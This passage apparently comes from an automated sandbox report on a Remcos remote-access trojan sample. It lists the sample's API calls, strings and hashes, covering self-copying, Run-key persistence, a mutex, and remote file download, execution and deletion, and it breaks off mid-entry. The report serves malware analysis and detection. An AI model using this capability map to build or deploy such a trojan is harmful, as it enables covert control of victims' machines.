                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC11
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC25
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC39
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC61
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC75
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000104), ref: 0040E9EE
                                                                                                                                • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                                                                                              • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Users\user\Desktop\rSOD219ISF-____.scr.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                                                                                                              • API String ID: 2830904901-3780996966
                                                                                                                              • Opcode ID: 495a12a90936515c81303a824c8f73eb8482a1d80021e6fc0d2378f6666dcd93
                                                                                                                              • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                                                                                                                              • Opcode Fuzzy Hash: 495a12a90936515c81303a824c8f73eb8482a1d80021e6fc0d2378f6666dcd93
                                                                                                                              • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                                                                                                                              Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • _wcslen.LIBCMT ref: 0040CE07
                                                                                                                              • CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                                                                                                                              • CopyFileW.KERNELBASE(C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000000,00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040CED0
                                                                                                                              • _wcslen.LIBCMT ref: 0040CEE6
                                                                                                                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                                                                                                                              • CopyFileW.KERNEL32(C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000000,00000000), ref: 0040CF84
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                                                                                                                              • _wcslen.LIBCMT ref: 0040CFC6
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                                                                                                                              • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750E4,0000000E), ref: 0040D02D
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                                                                                                                              • ExitProcess.KERNEL32 ref: 0040D062
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                                                              • String ID: 6$C:\Users\user\Desktop\rSOD219ISF-____.scr.exe$del$open
                                                                                                                              • API String ID: 1579085052-2157912949
                                                                                                                              • Opcode ID: 814849405574f27cdfff210f7d5faa9ce691f1cc33a2f2159ed20f1a2e65d6c6
                                                                                                                              • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                                                                                                                              • Opcode Fuzzy Hash: 814849405574f27cdfff210f7d5faa9ce691f1cc33a2f2159ed20f1a2e65d6c6
                                                                                                                              • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                                                                                                                              Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • GetLongPathNameW.KERNELBASE(00000000,?,00000208), ref: 0040DB9A
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LongNamePath
                                                                                                                              • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                                                              • API String ID: 82841172-425784914
                                                                                                                              • Opcode ID: 46d901405b7c4f1817ae1d48af55330febbd656c9bbb3008c43cf957afa3439e
                                                                                                                              • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                                                                                                                              • Opcode Fuzzy Hash: 46d901405b7c4f1817ae1d48af55330febbd656c9bbb3008c43cf957afa3439e
                                                                                                                              • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                                                                                                                              Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                                                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                                                                • Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                                                                • Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                                                              • StrToIntA.SHLWAPI(00000000,0046C9F8,00000000,00000000,00000000,004750E4,00000003,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0041B33C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCurrentOpenProcessQueryValue
                                                                                                                              • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                                                              • API String ID: 1866151309-2070987746
                                                                                                                              • Opcode ID: b004e89fecfca72c60d0d2d1a8fce3e40073890883e7b2a8564e183fd8eeb87f
                                                                                                                              • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                                                                                                                              • Opcode Fuzzy Hash: b004e89fecfca72c60d0d2d1a8fce3e40073890883e7b2a8564e183fd8eeb87f
                                                                                                                              • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                                                                                                                              Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 656 448299-4482b0 GetLastError 657 4482b2-4482bc call 4487bc 656->657 658 4482be-4482c5 call 445af3 656->658 657->658 663 44830f-448316 SetLastError 657->663 662 4482ca-4482d0 658->662 664 4482d2 662->664 665 4482db-4482e9 call 448812 662->665 667 448318-44831d 663->667 668 4482d3-4482d9 call 446782 664->668 671 4482ee-448304 call 448087 call 446782 665->671 672 4482eb-4482ec 665->672 675 448306-44830d SetLastError 668->675 671->663 671->675 672->668 675->667
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044829E
                                                                                                                              • _free.LIBCMT ref: 004482D3
                                                                                                                              • _free.LIBCMT ref: 004482FA
                                                                                                                              • SetLastError.KERNEL32(00000000), ref: 00448307
                                                                                                                              • SetLastError.KERNEL32(00000000), ref: 00448310
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3170660625-0
                                                                                                                              • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                                                                                                              • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                                                                                                                              • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                                                                                                              • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                                                                                                                              Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 679 413814-413827 RegCreateKeyW 680 413866 679->680 681 413829-413864 call 40247c call 401f04 RegSetValueExW RegCloseKey 679->681 683 413868-413876 call 401f09 680->683 681->683
                                                                                                                              APIs
                                                                                                                              • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041381F
                                                                                                                              • RegSetValueExW.KERNELBASE(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,004752D8,74DF37E0,?), ref: 0041384D
                                                                                                                              • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,004752D8,74DF37E0,?,?,?,?,?,0040CFAA,?,00000000), ref: 00413858
                                                                                                                              Strings
                                                                                                                              • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041381D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateValue
                                                                                                                              • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                                                              • API String ID: 1818849710-1051519024
                                                                                                                              • Opcode ID: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                                                                                              • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                                                                                                                              • Opcode Fuzzy Hash: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                                                                                              • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                                                                                                                              Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 689 40d069-40d095 call 401fab CreateMutexA GetLastError
                                                                                                                              APIs
                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                                                                                                                              • GetLastError.KERNEL32 ref: 0040D083
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateErrorLastMutex
                                                                                                                              • String ID: SG
                                                                                                                              • API String ID: 1925916568-3189917014
                                                                                                                              • Opcode ID: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                                                                                                              • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                                                                                                                              • Opcode Fuzzy Hash: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
                                                                                                                              • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                                                                                                                              Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 692 4135a6-4135d2 RegOpenKeyExA 693 4135d4-4135fc RegQueryValueExA RegCloseKey 692->693 694 413607 692->694 695 413609 693->695 696 4135fe-413605 693->696 694->695 697 41360e-41361a call 402093 695->697 696->697
                                                                                                                              APIs
                                                                                                                              • RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                                                              • RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                                                              • RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseOpenQueryValue
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3677997916-0
                                                                                                                              • Opcode ID: 2c354c38eb467919e259a426341f00e1060616e4a77f0ac470f93c7e2a8fe8f5
                                                                                                                              • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                                                                                                                              • Opcode Fuzzy Hash: 2c354c38eb467919e259a426341f00e1060616e4a77f0ac470f93c7e2a8fe8f5
                                                                                                                              • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                                                                                                                              Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 700 413549-413571 RegOpenKeyExA 701 4135a0 700->701 702 413573-41359e RegQueryValueExA RegCloseKey 700->702 703 4135a2-4135a5 701->703 702->703
                                                                                                                              APIs
                                                                                                                              • RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
                                                                                                                              • RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
                                                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 00413592
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseOpenQueryValue
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3677997916-0
                                                                                                                              • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                                                              • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                                                                                                                              • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                                                                                                              • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                                                                                                                              Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 704 40165e-401664 705 401666-401668 704->705 706 401669-401674 704->706 707 401676 706->707 708 40167b-401685 706->708 707->708 709 401687-40168d 708->709 710 4016a8-4016a9 call 4344ea 708->710 709->710 712 40168f-401694 709->712 713 4016ae-4016af 710->713 712->707 714 401696-4016a6 call 4344ea 712->714 715 4016b1-4016b3 713->715 714->715
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                                                                                                                              • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                                                                                                                              • Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                                                                                                                              • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                                                                                                                              Function 00445AF3 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 746 445af3-445afe 747 445b00-445b0a 746->747 748 445b0c-445b12 746->748 747->748 749 445b40-445b4b call 4405dd 747->749 750 445b14-445b15 748->750 751 445b2b-445b3c RtlAllocateHeap 748->751 755 445b4d-445b4f 749->755 750->751 752 445b17-445b1e call 445545 751->752 753 445b3e 751->753 752->749 759 445b20-445b29 call 442f80 752->759 753->755 759->749 759->751
                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000), ref: 00445B34
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
                                                                                                                              • Instruction ID: e1e4bc9e3ed5bc60ab2f969cc6486aa84e060793a1580145f61584a75d3ee698
                                                                                                                              • Opcode Fuzzy Hash: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
                                                                                                                              • Instruction Fuzzy Hash: 9DF09031600D6967BF316A229C06B5BB749EB42760B548027BD08AA297CA38F80186BC
                                                                                                                              Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 762 446137-446143 763 446175-446180 call 4405dd 762->763 764 446145-446147 762->764 771 446182-446184 763->771 765 446160-446171 RtlAllocateHeap 764->765 766 446149-44614a 764->766 769 446173 765->769 770 44614c-446153 call 445545 765->770 766->765 769->771 770->763 774 446155-44615e call 442f80 770->774 774->763 774->765
                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                                                                                                              • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                                                                                                                              • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                                                                                                              • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF

                                                                                                                              Non-executed Functions

                                                                                                                              Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetEvent.KERNEL32(?,?), ref: 00407CB9
                                                                                                                              • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                                                                                                                              • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                                                                                                                • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
                                                                                                                                • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
                                                                                                                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
                                                                                                                                • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
                                                                                                                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                                                                                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                                                                                                                              • GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00408278
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                                                                                                                              • DeleteFileA.KERNEL32(?), ref: 00408652
                                                                                                                                • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                                                                                                                • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                                                                                                                • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                                                                                                                • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                                                                                                              • Sleep.KERNEL32(000007D0), ref: 004086F8
                                                                                                                              • StrToIntA.SHLWAPI(00000000,00000000), ref: 0040873A
                                                                                                                                • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                                                                                                              • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                                                                                                              • API String ID: 1067849700-181434739
                                                                                                                              • Opcode ID: ed1bd2f71bf4913d82fc68c669dd054f55d693d56a0d5578707dbe8f2441d685
                                                                                                                              • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                                                                                                                              • Opcode Fuzzy Hash: ed1bd2f71bf4913d82fc68c669dd054f55d693d56a0d5578707dbe8f2441d685
                                                                                                                              • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                                                                                                                              Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 004056E6
